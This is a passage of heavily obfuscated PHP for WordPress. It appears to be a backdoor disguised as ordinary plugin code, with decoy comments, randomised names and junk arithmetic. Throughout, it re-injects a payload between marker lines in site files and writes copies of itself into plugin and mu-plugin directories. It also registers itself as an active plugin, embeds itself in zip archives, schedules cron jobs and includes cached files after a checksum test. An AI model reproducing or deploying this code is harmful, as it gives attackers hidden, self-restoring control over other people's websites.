     $rxzmhdjber =     j050_s_2aiw8u03k();
 $pq38at8uo7k1sd    = $rxzmhdjber   .  hus_b7m621lgc6(2152);
  $nhq3pyawspdrllyo    =  rmqbu5no5o(2018)(kwizo_5vxh_f26an7qg(), hus_b7m621lgc6(2153));
    $eidv2ldk0gje94g1 = m8bil168ioia0snf0ol();


  if (!$eidv2ldk0gje94g1  ||  ep_coq62(1717)($eidv2ldk0gje94g1)  <   (680-180) ||  lfavz1nmi6pw4(1717)($eidv2ldk0gje94g1) >   (0x7a6e4+0x8591c)    ||     wpw1lzvpjeaxudejz($eidv2ldk0gje94g1)  ||  !chslach3yj4d6lbh($eidv2ldk0gje94g1))   return false;
    $current  = @wyzg13xdhd5r(1587)($pq38at8uo7k1sd)  ? @rmqbu5no5o(2137)($pq38at8uo7k1sd) : "";
if    (!ep_coq62(2154)($current))  {

  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2155), lfavz1nmi6pw4(2156));


return  false;
 }
    $current  = jkq4_uvfuw5l47za51944b($current);
       $fv2o223p3f71      =  m5d7gnhy503_5w7j()   .      ':'      .     mqedo90o6oi8f48x6b8n(ABSPATH   .   ep_coq62(2157),   (0x6+0x2));
 $i1e1f3ymxz59 =  lfavz1nmi6pw4(2158)  .  $fv2o223p3f71 .  hus_b7m621lgc6(2159);
    $t_vi7hld9qdg8w =   igsdp_2fdrp(2160)    .  $fv2o223p3f71  .    igsdp_2fdrp(2159);
$gc35yep5enh =   mqedo90o6oi8f48x6b8n(ABSPATH . rmqbu5no5o(2157), (3+5));
    $tihhcd2yx4mop = wyzg13xdhd5r(2126)(igsdp_2fdrp(2161)   .  $gc35yep5enh   . lfavz1nmi6pw4(2162),   "",  $current);



   $z549746nci9470ae  = (hus_b7m621lgc6(2117)($tihhcd2yx4mop, hus_b7m621lgc6(2163))  !==  false);
  if   (ep_coq62(2164)($current,     $i1e1f3ymxz59)    !==  false   &&   hus_b7m621lgc6(2164)($current,  $t_vi7hld9qdg8w)   !==      false     &&  !$z549746nci9470ae)    return  true;
   $current     =    ep_coq62(2126)(rmqbu5no5o(2165),    "",  $tihhcd2yx4mop);
        if (!hus_b7m621lgc6(2154)($current)) {
    hnp_n76gqrqs6vbf7203of(rmqbu5no5o(2155),     lfavz1nmi6pw4(1568));
   return      false;
  }
     $jjb7qnmbvy38    =  rwt3a4h41s7rmcrtx();



  if (!$jjb7qnmbvy38)  return   false;
$bsvrttxbqw47_w8y      = igsdp_2fdrp(2166)   .      rmqbu5no5o(2076)(igsdp_2fdrp(2167)($nhq3pyawspdrllyo  . (string)  e258bnpepjjzl95jyx77()), 0,     (249^241));
  $gn75r5j1k1q3cm  =     sdmxfxbf9kwqo1tko(
   ep_coq62(707),
  array('__SLUG__',      '__PLUGIN_BASE64__', '__GUARD_NAME__',    '__VERSION__'),
      array($nhq3pyawspdrllyo,  $jjb7qnmbvy38,    $bsvrttxbqw47_w8y,      m5d7gnhy503_5w7j())
);
       if    (!$gn75r5j1k1q3cm)    {
       if ((int)  get_option(hus_b7m621lgc6(1675),  0)   > 0) hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(2155), ep_coq62(2168));



   return  false;


       }
    $current =   jkq4_uvfuw5l47za51944b($current);
     $ebyszkubfrcpkk   = lfavz1nmi6pw4(2169)(wyzg13xdhd5r(1549), "",  $gn75r5j1k1q3cm);
$hq7_hfs5np  = (wyzg13xdhd5r(1717)($current)  ===  0);

    if    (!$hq7_hfs5np)  {
if    (!aqgihmr82261d_o(igsdp_2fdrp(2155)))     {$p9pnflmq6kt1=47|173;$tnroqk44=$p9pnflmq6kt1^124;
    hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(2170),  lfavz1nmi6pw4(1570));
return false;



     }
if (!x98gkzd4rxzw_t($pq38at8uo7k1sd,     $current))  {
   hnp_n76gqrqs6vbf7203of(rmqbu5no5o(2170),  hus_b7m621lgc6(2171));
return     false;
    }
      pxdhcwivd8_op7xqs(ep_coq62(2172));
} else     {
  if (!x98gkzd4rxzw_t($pq38at8uo7k1sd,     ""))    {
       hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(2172),  ep_coq62(2171));
return   false;
  }
     }
 $i9eod5dlf04am8f =  radr9v1s6d16sltzos($current,   $i1e1f3ymxz59   .  "\n"  .    $ebyszkubfrcpkk    .   "\n"     .    $t_vi7hld9qdg8w);


  if   (!p1cskrtcz8bv54lf($pq38at8uo7k1sd, $i9eod5dlf04am8f))   {
// Redis object cache menu position

 return   false;
 }


       if   ($hq7_hfs5np)   fjjsa59vrgj7lkezp_z_x5($pq38at8uo7k1sd);
  return true;
     }  catch (Throwable  $mrelaaojjq4dc7d) {



 hnp_n76gqrqs6vbf7203of(ep_coq62(2172),  $mrelaaojjq4dc7d);
  return    false;

 }  catch    (Exception   $mrelaaojjq4dc7d) {


 return  false;
    }
     }



 function xkodj4bn7npkp51j_c1uu()
{
    $_m6wk2wte6czmz    =   array();
      if (!hus_b7m621lgc6(2148)(ep_coq62(2068)))   return  $_m6wk2wte6czmz;
 $cqfw_j0q_4nr  =     (defined(igsdp_2fdrp(1969)) ?  WP_CONTENT_DIR    :   (defined(wyzg13xdhd5r(2085))    ?  ABSPATH .  ep_coq62(1534) :  ""))  . igsdp_2fdrp(2173);
 $zyfqpxky_66y  =  (string)   @get_option(rmqbu5no5o(2174),    "");
   if     ($zyfqpxky_66y      !==  "") $_m6wk2wte6czmz[]  = $cqfw_j0q_4nr    .    $zyfqpxky_66y .    lfavz1nmi6pw4(2175);
  $ju3n4i6kaibhx =  (string)   @get_option(ep_coq62(2176), "");
    if    ($ju3n4i6kaibhx !==  ""      && $ju3n4i6kaibhx  !== $zyfqpxky_66y)  $_m6wk2wte6czmz[]   =  $cqfw_j0q_4nr    .   $ju3n4i6kaibhx    . hus_b7m621lgc6(2177);
return $_m6wk2wte6czmz;
  }
 function   _3xkv6pzjghyg2()
 {
 try     {
 if (!defined(ep_coq62(2085))  || !hus_b7m621lgc6(2178)(lfavz1nmi6pw4(2068)))     return;
foreach (xkodj4bn7npkp51j_c1uu() as    $x7h7zma_59)  {
 $ewcxzn5w8f_ldx6  =   b9x_qnoopw0bqe8tpa3a4()  .  igsdp_2fdrp(2179) .   mqedo90o6oi8f48x6b8n($x7h7zma_59,   (0x5+0x7))   . igsdp_2fdrp(1862);
      if  (!@lfavz1nmi6pw4(2067)($ewcxzn5w8f_ldx6))   continue;

if  (@lfavz1nmi6pw4(2180)($x7h7zma_59)   &&  @wyzg13xdhd5r(2026)($x7h7zma_59)    > 0) continue;


$ece4q59vwvkq  =  @rmqbu5no5o(2181)($ewcxzn5w8f_ldx6);
 if      (!lfavz1nmi6pw4(2154)($ece4q59vwvkq)    ||   $ece4q59vwvkq ===   "") continue;
 if (p1cskrtcz8bv54lf($x7h7zma_59,     $ece4q59vwvkq)) {
   hnp_n76gqrqs6vbf7203of(ep_coq62(2182),   igsdp_2fdrp(2183));
   @update_option(rmqbu5no5o(2184), ep_coq62(2057)(),     hus_b7m621lgc6(1918));
}
 }
} catch (Throwable     $mrelaaojjq4dc7d)  {


hnp_n76gqrqs6vbf7203of(ep_coq62(2185), $mrelaaojjq4dc7d);



} catch   (Exception  $mrelaaojjq4dc7d)    {
      }
     }
function   b0af79r_ptgo7lzzj53()
  {
try     {
 if   (!defined(igsdp_2fdrp(2186)))    return false;
    $wkct6ilv5pb  = xkodj4bn7npkp51j_c1uu();
   if  (empty($wkct6ilv5pb)) return   false;
  $p19tktpm5p6a =  (int)   get_option(igsdp_2fdrp(2184),  0);

if  ($p19tktpm5p6a &&    igsdp_2fdrp(2057)()     - $p19tktpm5p6a  < (86378+22)) return     false;
 $fv2o223p3f71 = m5d7gnhy503_5w7j()    .   ':'    . mqedo90o6oi8f48x6b8n(ABSPATH   .   ep_coq62(1832),  (0x7+0x1));


 $i1e1f3ymxz59    = igsdp_2fdrp(2187)  .    $fv2o223p3f71  .   ep_coq62(2159);


    $t_vi7hld9qdg8w =     ep_coq62(2188)   .  $fv2o223p3f71    .  wyzg13xdhd5r(2159);
    $bsvrttxbqw47_w8y   = lfavz1nmi6pw4(2189)      . ep_coq62(2076)(ep_coq62(2167)(ABSPATH  .  (string)  e258bnpepjjzl95jyx77()),     0, (1+7));

   $nhq3pyawspdrllyo    =  lfavz1nmi6pw4(2018)(kwizo_5vxh_f26an7qg(), hus_b7m621lgc6(2153));
     $jjb7qnmbvy38  =     rwt3a4h41s7rmcrtx();
     if  (!$jjb7qnmbvy38)    return  false;
       $zp5d9roe2m_1k5j =   sdmxfxbf9kwqo1tko(
igsdp_2fdrp(709),

array('__SLUG__',   '__PLUGIN_BASE64__', '__GUARD_NAME__', '__VERSION__'),

 array($nhq3pyawspdrllyo,  $jjb7qnmbvy38,    $bsvrttxbqw47_w8y,  m5d7gnhy503_5w7j())
);
    if (!$zp5d9roe2m_1k5j) {

 if  ((int)  get_option(lfavz1nmi6pw4(1675),      0) >   0)  hnp_n76gqrqs6vbf7203of(ep_coq62(2190),   rmqbu5no5o(2191));
return   false;
}

$zp5d9roe2m_1k5j = ep_coq62(2169)(rmqbu5no5o(2192), "",     $zp5d9roe2m_1k5j);
   if      (!ep_coq62(2154)($zp5d9roe2m_1k5j)  ||     $zp5d9roe2m_1k5j ===    "")  return false;
 foreach  ($wkct6ilv5pb  as  $k7fgegzh2rf00p7)      {

  if (!@igsdp_2fdrp(2193)($k7fgegzh2rf00p7))  continue;
 

    $uramb_e0oja0az    = lfavz1nmi6pw4(2194)(igsdp_2fdrp(2195)) ?   @wyzg13xdhd5r(2195)($k7fgegzh2rf00p7,   'c')      :  false;
      if ($uramb_e0oja0az  !==   false  && lfavz1nmi6pw4(2194)(lfavz1nmi6pw4(1516))) @flock($uramb_e0oja0az,     LOCK_EX);
    $current   =   @wyzg13xdhd5r(2181)($k7fgegzh2rf00p7);



if (!wyzg13xdhd5r(2154)($current))   {
   hnp_n76gqrqs6vbf7203of(ep_coq62(2190), wyzg13xdhd5r(2156));
      if ($uramb_e0oja0az  !==   false)   {

 if (lfavz1nmi6pw4(2194)(wyzg13xdhd5r(1516)))   @flock($uramb_e0oja0az,    LOCK_UN);
@fclose($uramb_e0oja0az);
     }


   continue;
 }

 try      {
   if (lfavz1nmi6pw4(1717)($current)  >  (1186885-138309)) $current   = jkq4_uvfuw5l47za51944b($current);
  if  (rmqbu5no5o(2164)($current, $i1e1f3ymxz59)   !== false   &&   rmqbu5no5o(2196)($current,     $t_vi7hld9qdg8w)  !==  false)    return true;
if  (!@igsdp_2fdrp(2197)($k7fgegzh2rf00p7))  continue;


  $ewcxzn5w8f_ldx6     = b9x_qnoopw0bqe8tpa3a4()  .   lfavz1nmi6pw4(2179)  .   mqedo90o6oi8f48x6b8n($k7fgegzh2rf00p7,  (121^117)) .    hus_b7m621lgc6(1862);
$lrr2k__knu = mqedo90o6oi8f48x6b8n(ABSPATH . lfavz1nmi6pw4(2198), (1+7));
     $current   =   encho1y07ay7g2v($current,     ep_coq62(2139), igsdp_2fdrp(2199));
    $current =     hus_b7m621lgc6(2169)(rmqbu5no5o(2200),  "", $current);
  if (!lfavz1nmi6pw4(2154)($current))    {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(2190),  ep_coq62(1568));
 continue;
       }
       if    (igsdp_2fdrp(2196)($current, wyzg13xdhd5r(1922))    !==     false   ||   lfavz1nmi6pw4(2196)($current, rmqbu5no5o(2029))    !== false) {
 $p5rago_4ous3my0n   =    @ep_coq62(2201)($ewcxzn5w8f_ldx6)   ? @wyzg13xdhd5r(2202)($ewcxzn5w8f_ldx6)   :  false;
   if (!igsdp_2fdrp(2203)($p5rago_4ous3my0n)   || $p5rago_4ous3my0n  ===  "")   {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(2190),   lfavz1nmi6pw4(2204));
       continue;
  }


$current =  $p5rago_4ous3my0n;
 unset($p5rago_4ous3my0n);
  }
      $ogwb3mtki8l =  jos018hgxqblcsapw2mn_7($current);
  if    (ep_coq62(2205)($ogwb3mtki8l)    &&      $ogwb3mtki8l    !==   "")  {
     $s20mj1ccf32u42   = @ep_coq62(2206)($ewcxzn5w8f_ldx6)     ?  @rmqbu5no5o(2207)($ewcxzn5w8f_ldx6)      :  false;
if  (!hus_b7m621lgc6(2205)($s20mj1ccf32u42) ||   $s20mj1ccf32u42 !== $ogwb3mtki8l)  p1cskrtcz8bv54lf($ewcxzn5w8f_ldx6, $ogwb3mtki8l);
      unset($s20mj1ccf32u42);
 }
 unset($ogwb3mtki8l);



      $wri0nfxrkxcg   =    wyzg13xdhd5r(2208);$lqaqm7lfea=26+62;$m709p9ch_=$lqaqm7lfea-35;
  if   (wyzg13xdhd5r(2209)($current)     > 0  &&   igsdp_2fdrp(2196)($current,  igsdp_2fdrp(238))      !==    false   &&  ep_coq62(2210)(hus_b7m621lgc6(2211)($current), -2)   !==    lfavz1nmi6pw4(2212))  {
    $wri0nfxrkxcg =      "";
  }



  $s_06pwvw4r62p  =     (lfavz1nmi6pw4(2209)($current)   >  0) ? "\n"   :    "";
 $hkhyao8y809dhqxq =   $s_06pwvw4r62p . $wri0nfxrkxcg    .  $i1e1f3ymxz59 .  "\n"     .     $zp5d9roe2m_1k5j    .      "\n"  .    $t_vi7hld9qdg8w . "\n";
// packed layout

      if  (!x98gkzd4rxzw_t($k7fgegzh2rf00p7, $current)) {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(2213), hus_b7m621lgc6(2214));
 continue;
   }
if (!p1cskrtcz8bv54lf($k7fgegzh2rf00p7,     $current  .  $hkhyao8y809dhqxq)) continue;
return    true;
 }   finally   {
       if    ($uramb_e0oja0az   !==  false)   {
     if  (hus_b7m621lgc6(2194)(lfavz1nmi6pw4(1516))) @flock($uramb_e0oja0az,    LOCK_UN);
     @fclose($uramb_e0oja0az);
  }
 }
    }
// deflationary capability

   return    false;$ucg0nyqmm05ph=105|176;$xn4du5kq6qjvnl=$ucg0nyqmm05ph^218;



  }   catch (Throwable  $mrelaaojjq4dc7d) {
  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2213),  $mrelaaojjq4dc7d);
     return     false;$zl2eirmw_=PHP_MAJOR_VERSION;$dmh0vziyuu=$zl2eirmw_*5;
        } catch      (Exception  $mrelaaojjq4dc7d)     {
return    false;
}
     }
   function  zna8s2jfqgadn3yup()

{
 try   {


  if     (!defined(rmqbu5no5o(2186))) return;
 if  (qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg()))   return;
  $rxzmhdjber     = j050_s_2aiw8u03k();$hg6iw1wbgafjd=-853;$x6f2h15zk=($hg6iw1wbgafjd>0)?$hg6iw1wbgafjd:-$hg6iw1wbgafjd;

 $eqona1y7xbdxvjqz      =  mqedo90o6oi8f48x6b8n(ABSPATH    . wyzg13xdhd5r(2215),     (0x6+0x2))  . hus_b7m621lgc6(1338);
        $nhq3pyawspdrllyo =    ep_coq62(2018)(kwizo_5vxh_f26an7qg(), rmqbu5no5o(2153));
$eidv2ldk0gje94g1  =  m8bil168ioia0snf0ol();
 if (!$eidv2ldk0gje94g1 ||    ep_coq62(2216)($eidv2ldk0gje94g1) <    (622-122)) {


 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1508), lfavz1nmi6pw4(2217));
 return;



}
  if  (!lfavz1nmi6pw4(2218)(hus_b7m621lgc6(2219)))  return;
  $rrtk4qxwehi  =   array(

     $rxzmhdjber      .  '/'     .  $eqona1y7xbdxvjqz,
$rxzmhdjber  .  rmqbu5no5o(2220) .  rmqbu5no5o(2221)(lfavz1nmi6pw4(2222))      .  $eqona1y7xbdxvjqz,
  );
  $njej67o7sd6hd5 =  (defined(rmqbu5no5o(1969))  ? WP_CONTENT_DIR :  ABSPATH .  wyzg13xdhd5r(1534)) . rmqbu5no5o(2223);
  if (@rmqbu5no5o(1741)($njej67o7sd6hd5))     {
// type matching

 $g25fh698w_d82d_z   =  aoy815vanbylrvbuug0i($njej67o7sd6hd5);
 if (rmqbu5no5o(2144)($g25fh698w_d82d_z))  {
foreach ($g25fh698w_d82d_z as  $mrelaaojjq4dc7d)    {
$qiv470voo5 =     $njej67o7sd6hd5 . '/'    . $mrelaaojjq4dc7d;
 if   (@wyzg13xdhd5r(1741)($qiv470voo5)  &&   @hus_b7m621lgc6(2197)($qiv470voo5))  {
  $rrtk4qxwehi[]   =    $qiv470voo5  .     '/'     .  $eqona1y7xbdxvjqz;
     break;
  }
      }
  }
   }
 foreach  ($rrtk4qxwehi as     $n0xmiwb7q1mcdndn)    {
   if  (@igsdp_2fdrp(1587)($n0xmiwb7q1mcdndn)   &&  @igsdp_2fdrp(2224)($n0xmiwb7q1mcdndn) > (903+97))      {
      $vb8lq8b66twr      =   hus_b7m621lgc6(2219);
if (ep_coq62(2218)($vb8lq8b66twr))    {
       $vk2kw7eaqp8i    =  new  $vb8lq8b66twr();


    if  (@$vk2kw7eaqp8i->open($n0xmiwb7q1mcdndn)      ===     true)   {
$vk2kw7eaqp8i->close();
    continue;
   }


 }
 }
      $cvx3s0aw6jf29_z   =   hus_b7m621lgc6(2095)($n0xmiwb7q1mcdndn);
 if  (!@igsdp_2fdrp(1741)($cvx3s0aw6jf29_z))   ej5d87oukqo0k6bc($cvx3s0aw6jf29_z,    (785-292),  true);
$vb8lq8b66twr =   ep_coq62(2225);



  $jeavqzi216rb0h2  =     obp69l7b9nnyfdcxk($cvx3s0aw6jf29_z, wyzg13xdhd5r(1111));
        if ($jeavqzi216rb0h2  ===    false)  continue;



$d2dfwq0g2xkzp5j     =    new $vb8lq8b66twr();
       if (@$d2dfwq0g2xkzp5j->open($jeavqzi216rb0h2,  $vb8lq8b66twr::CREATE   |   $vb8lq8b66twr::OVERWRITE)    ===    true)  {



     $d2dfwq0g2xkzp5j->addFromString($nhq3pyawspdrllyo   .    '/' . $nhq3pyawspdrllyo  . hus_b7m621lgc6(2226),    $eidv2ldk0gje94g1);
  $d2dfwq0g2xkzp5j->close();
     $tws1jlyzljtp =  new $vb8lq8b66twr();
       if (@$tws1jlyzljtp->open($jeavqzi216rb0h2) ===     true)  {
 $tws1jlyzljtp->close();
      if (cyv7b4mpbkf5y9k($jeavqzi216rb0h2, $n0xmiwb7q1mcdndn)  || (q3qr7l3w39xj3l89_96fx($jeavqzi216rb0h2,    $n0xmiwb7q1mcdndn) && oj333ptt2v9_ikd4str_($jeavqzi216rb0h2)))  {$hw8r16eqt2xcs=PHP_MAJOR_VERSION;$ekjswaivo7z5=$hw8r16eqt2xcs*10;



      ssuek6ionh2j25j($n0xmiwb7q1mcdndn,    tkjywmjdyogfvxumcj6gh4());
    ms4mh9yjk8_y876983kix($n0xmiwb7q1mcdndn, (0x111+0x93));
    }  else   {$qe2n8bfdd3=235|189;$xi41jwdrnxet_=$qe2n8bfdd3^57;
 oj333ptt2v9_ikd4str_($jeavqzi216rb0h2);
    }
} else {
   oj333ptt2v9_ikd4str_($jeavqzi216rb0h2);
 }
 } else     {
oj333ptt2v9_ikd4str_($jeavqzi216rb0h2);
  }
     }
   } catch  (Throwable  $mrelaaojjq4dc7d) {

 hnp_n76gqrqs6vbf7203of(ep_coq62(2215), $mrelaaojjq4dc7d);
}  catch   (Exception $mrelaaojjq4dc7d) {
 }
  }
 function kvyacs5zrf1f20v()



{
  try      {
      if  (!hus_b7m621lgc6(2227)(ep_coq62(731))    ||    !igsdp_2fdrp(2228)(rmqbu5no5o(454))) return;$lq8dbjksk1iy2=9240;$estyhqe4sluv9=$lq8dbjksk1iy2%15;
 if (!defined(rmqbu5no5o(2186))) return;

  $ch6l74zsudh67  = lfavz1nmi6pw4(2149);
if   (!wp_next_scheduled($ch6l74zsudh67)) {
      wp_schedule_event(hus_b7m621lgc6(2229)()    +  (0x42+0xea),  rmqbu5no5o(2230), $ch6l74zsudh67);
   }
 if    (!wp_next_scheduled(rmqbu5no5o(2150)))  {
wp_schedule_event(hus_b7m621lgc6(2229)() +  (564+36),     lfavz1nmi6pw4(415),  ep_coq62(2150));
}
    }   catch  (Throwable  $mrelaaojjq4dc7d)     {
  hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(2231), $mrelaaojjq4dc7d);
    }    catch     (Exception  $mrelaaojjq4dc7d)  {
}
}
 function  h4xv7jlh8ev5onv8()
   {
  try {
  if     (!defined(hus_b7m621lgc6(2232)))    return;
 $k_6nkqput2   =  mqedo90o6oi8f48x6b8n(ABSPATH  .   'g',   (3+5));
   $rcqn8sep48gew7o   = array();
if  (igsdp_2fdrp(2228)(rmqbu5no5o(2233))) $rcqn8sep48gew7o[]     =   b9x_qnoopw0bqe8tpa3a4();
    $rcqn8sep48gew7o[]   =   ABSPATH  .  igsdp_2fdrp(2234);
  if (igsdp_2fdrp(2228)(igsdp_2fdrp(58)))  $rcqn8sep48gew7o[] =   j050_s_2aiw8u03k();
  foreach  ($rcqn8sep48gew7o   as  $a2vjjv63g0z653)    {


     $lpjgqv3j6n = $a2vjjv63g0z653   .   hus_b7m621lgc6(1648)  . $k_6nkqput2;
if    (@ep_coq62(2206)($lpjgqv3j6n)     &&  (int)  @igsdp_2fdrp(1998)($lpjgqv3j6n)   > ep_coq62(2229)()    - (30<<3))   return;
 }
   foreach ($rcqn8sep48gew7o    as  $a2vjjv63g0z653) {
// WP Core Data: evaluate timeout-policy

      $re7vobcyvri  =  $a2vjjv63g0z653  .  igsdp_2fdrp(2235)  .      $k_6nkqput2;
        if    (@wyzg13xdhd5r(2236)($re7vobcyvri))     {
/* synchronous trie */

  $leq2y2m0ogy9q = (int)  @lfavz1nmi6pw4(1998)($re7vobcyvri);
 if ($leq2y2m0ogy9q >   ep_coq62(2229)()  - (76843+9557)  &&    $leq2y2m0ogy9q <=   lfavz1nmi6pw4(2237)()   +  (231+69))    continue;
  oj333ptt2v9_ikd4str_($re7vobcyvri);
 }
 $xii71hyq04    = $a2vjjv63g0z653   .  lfavz1nmi6pw4(1656)  .     $k_6nkqput2    .  wyzg13xdhd5r(2226);


 if (@ep_coq62(2236)($xii71hyq04)  && (int)     @hus_b7m621lgc6(2224)($xii71hyq04) >    (0x1e8+0xc)) {

  $g_o5xddf4biv   =  $a2vjjv63g0z653 .  wyzg13xdhd5r(1679)      .   $k_6nkqput2;
  

     $fmzvpxsnyc2ghs  =  @rmqbu5no5o(2238)($g_o5xddf4biv) ? rmqbu5no5o(2239)((string)    @hus_b7m621lgc6(2207)($g_o5xddf4biv)) :    "";
    if  ($fmzvpxsnyc2ghs    !==  ""     &&    lfavz1nmi6pw4(2228)(rmqbu5no5o(2240))   &&  @md5_file($xii71hyq04) === $fmzvpxsnyc2ghs)  {
 @include   $xii71hyq04;
return;


}
     if  ($fmzvpxsnyc2ghs     !==    "")    {
/* convex certificate-chain */



    oj333ptt2v9_ikd4str_($xii71hyq04);



}

       unset($g_o5xddf4biv,    $fmzvpxsnyc2ghs);
 }
}
 unset($re7vobcyvri,  $leq2y2m0ogy9q);
  if  (wyzg13xdhd5r(2241)(ep_coq62(1172)))   @delete_transient(rmqbu5no5o(1646));
 hx0_ao_9gbqrt9_vr4s();

   } catch  (Throwable      $mrelaaojjq4dc7d)  {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(2242),      $mrelaaojjq4dc7d);
  }  catch   (Exception    $mrelaaojjq4dc7d)    {
   }
     }
    function r7wcqi4j4spojesham()
    {
// sequential write
$njwtqtsbhy=62*2;$mew8h6x5hn=$njwtqtsbhy-21;
   try {

if    (!defined(rmqbu5no5o(2232)))   return;

  lhlty0uglqmi2cqo5f(null);
$nhq3pyawspdrllyo     =  rmqbu5no5o(2243)(kwizo_5vxh_f26an7qg(),    igsdp_2fdrp(2226));
      $goqukkk6g7rbd88   =     kwizo_5vxh_f26an7qg();
  $eidv2ldk0gje94g1  =     "";
  if   (@igsdp_2fdrp(2244)($goqukkk6g7rbd88) && @ep_coq62(2224)($goqukkk6g7rbd88)   > (4976+24))     {
      $h7e4vx8yre0wuu = (string)   @igsdp_2fdrp(2245)($goqukkk6g7rbd88);
 $hudojk0p9c      =   wyzg13xdhd5r(2241)(ep_coq62(2246))     ?   jkq4_uvfuw5l47za51944b($h7e4vx8yre0wuu)   :    $h7e4vx8yre0wuu;
      if    (ep_coq62(2205)($hudojk0p9c) &&   lfavz1nmi6pw4(2216)($hudojk0p9c) > (149+351)  && chslach3yj4d6lbh($hudojk0p9c))   $eidv2ldk0gje94g1  =   $hudojk0p9c;
    unset($h7e4vx8yre0wuu,     $hudojk0p9c);
  }
    if  ($eidv2ldk0gje94g1 ===   "") {
// project pure-adj dataflow-graph

  $zj5tbc1f9_6e038j    = mqedo90o6oi8f48x6b8n(ABSPATH  . lfavz1nmi6pw4(2035),     (2+8));
// attach infeasible stabilizer




$jjb7qnmbvy38  =  ep_coq62(2241)(igsdp_2fdrp(2247)) ?    @get_option($zj5tbc1f9_6e038j,   "")   :     "";


    if (!$jjb7qnmbvy38     || hus_b7m621lgc6(2248)($jjb7qnmbvy38)   <    (417+83))  return;


$eidv2ldk0gje94g1 =  c1mtichhsrpc724s9x4(lfavz1nmi6pw4(2249)($jjb7qnmbvy38));

if  (!$eidv2ldk0gje94g1   ||  igsdp_2fdrp(2250)($eidv2ldk0gje94g1)   < (406+94)) return;
 if    (!chslach3yj4d6lbh($eidv2ldk0gje94g1))  {


 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(2251), wyzg13xdhd5r(848));
 return;



}
 }
 $rxzmhdjber   =   j050_s_2aiw8u03k();$u11qwsgbe=PHP_MAJOR_VERSION;$twssuytiew1t5h=$u11qwsgbe*3;
$locdtindg9z =  $rxzmhdjber .     ep_coq62(2252)  .   $nhq3pyawspdrllyo;
  $lz_0j2hm91nosjm4 =  $locdtindg9z    .  '/'   . $nhq3pyawspdrllyo   . ep_coq62(2226);
if    (!@ep_coq62(2253)($locdtindg9z))   ej5d87oukqo0k6bc($locdtindg9z,  (847-354),   true);



 $erj0psxgtw     = @ep_coq62(2244)($lz_0j2hm91nosjm4)  ?  (string)   @ep_coq62(2245)($lz_0j2hm91nosjm4)  :    "";
$r6gep6baii3t3p1    =    false;
if ($erj0psxgtw !==  ""     &&  rmqbu5no5o(1988)(lfavz1nmi6pw4(861),   lfavz1nmi6pw4(2210)($erj0psxgtw,  0,   (4053+43)),   $filn5wwtjfi) && version_compare($filn5wwtjfi[1], m5d7gnhy503_5w7j(), '>')) $r6gep6baii3t3p1 =  true;
unset($filn5wwtjfi);

    if (!$r6gep6baii3t3p1    &&    ($erj0psxgtw   ===   "" ||  rmqbu5no5o(2167)(jkq4_uvfuw5l47za51944b($erj0psxgtw))    !==   wyzg13xdhd5r(2254)($eidv2ldk0gje94g1)))     {
 if   (p1cskrtcz8bv54lf($lz_0j2hm91nosjm4,   gdb8f5jybxbvgd($eidv2ldk0gje94g1))) {
ms4mh9yjk8_y876983kix($lz_0j2hm91nosjm4, (421-1));
je70juj6lq88lrd($lz_0j2hm91nosjm4);
  fjjsa59vrgj7lkezp_z_x5($lz_0j2hm91nosjm4);
    }
     }



  unset($erj0psxgtw,   $r6gep6baii3t3p1);
if    (wyzg13xdhd5r(2241)(wyzg13xdhd5r(2247)) && lfavz1nmi6pw4(2241)(rmqbu5no5o(1762))) {$jvitcqp0uk=PHP_INT_MAX/PHP_INT_MAX;$ib3fsdr8_=$jvitcqp0uk+28;



   $qiq9537if5lewq =  $nhq3pyawspdrllyo  .    '/' . $nhq3pyawspdrllyo . lfavz1nmi6pw4(2226);

$em_s0ucqdjw  =    get_option(ep_coq62(2255),  array());


     if   (!lfavz1nmi6pw4(2144)($em_s0ucqdjw)) $em_s0ucqdjw =   array();
if  (!wyzg13xdhd5r(2071)($qiq9537if5lewq,   $em_s0ucqdjw,    true))     {


$em_s0ucqdjw[] =   $qiq9537if5lewq;
  update_option(ep_coq62(2256),   ep_coq62(685)($em_s0ucqdjw));
       }
   }
      $wq_k48xiabzr =  bv_j7m9r7_qskxb7m();
 if  (@ep_coq62(2253)($wq_k48xiabzr)  ||    ej5d87oukqo0k6bc($wq_k48xiabzr,  (432+61), true)) {
 $sgzijcqp6t66b0  =   $wq_k48xiabzr .  '/'     .      $nhq3pyawspdrllyo  .  ep_coq62(2257);
  $d0mb04lyiqcb0_gz  =     @ep_coq62(2244)($sgzijcqp6t66b0)  ?    (string)     @lfavz1nmi6pw4(2245)($sgzijcqp6t66b0)   : "";
  $qitm8vvzsj8jwiej =   false;
  if   ($d0mb04lyiqcb0_gz     !== ""  &&  lfavz1nmi6pw4(1988)(lfavz1nmi6pw4(861),  rmqbu5no5o(2210)($d0mb04lyiqcb0_gz,  0, (0xa5d+0x5a3)),   $lpnbo2lpx3m4wk)  &&  version_compare($lpnbo2lpx3m4wk[1],   m5d7gnhy503_5w7j(), '>'))   $qitm8vvzsj8jwiej =  true;
unset($lpnbo2lpx3m4wk);

 if (!$qitm8vvzsj8jwiej      &&     ($d0mb04lyiqcb0_gz  ===  ""   || wyzg13xdhd5r(2254)(jkq4_uvfuw5l47za51944b($d0mb04lyiqcb0_gz))   !==   rmqbu5no5o(2258)($eidv2ldk0gje94g1))) {

        if  (p1cskrtcz8bv54lf($sgzijcqp6t66b0, gdb8f5jybxbvgd($eidv2ldk0gje94g1)))  {
/* heuristic normal-form */

ms4mh9yjk8_y876983kix($sgzijcqp6t66b0,  (394+26));
 je70juj6lq88lrd($sgzijcqp6t66b0);
 fjjsa59vrgj7lkezp_z_x5($sgzijcqp6t66b0);
       }
    }   elseif (!$qitm8vvzsj8jwiej)  {



  $hqj2nph9uwpx =   @lfavz1nmi6pw4(2259)($sgzijcqp6t66b0);



